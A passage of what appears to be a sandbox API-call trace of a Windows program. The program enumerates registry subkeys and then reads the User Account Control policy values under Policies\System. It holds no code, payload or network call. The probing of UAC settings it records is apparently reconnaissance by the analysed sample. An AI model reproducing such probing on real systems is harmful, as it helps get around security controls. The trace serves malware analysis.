cchWideChar=16, lpMultiByteStr=0x233c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x233b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x233c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x233b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x233c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x233b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x233c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x233b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x233c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x233b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x233c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x233b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x233b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x233b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x233b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x233c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x233b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x233b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x233c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0026.797] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x233b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x233b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x233b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x233b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x233c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x233b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x233b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x233c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0026.798] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x233b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x233b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x233b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x233b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x233c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x233b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x233c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x233b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x233c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x233b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x233c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x233b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x233c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0026.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x233b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0026.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x233c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0026.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x233b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x233c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0026.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x233b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0026.800] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0026.800] RegCloseKey (hKey=0x38) returned 0x0 [0026.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x233c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0026.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x233b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x233c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0026.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x233b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x233c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0026.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x233b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0026.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x233b930, cchName=0x104 | out: lpName="System") returned 0x0 [0026.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x233c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0026.801] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0026.801] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b930) returned 1 [0026.801] RegCloseKey (hKey=0xc4) returned 0x0 [0026.801] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b860) returned 1 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.801] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0026.802] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, 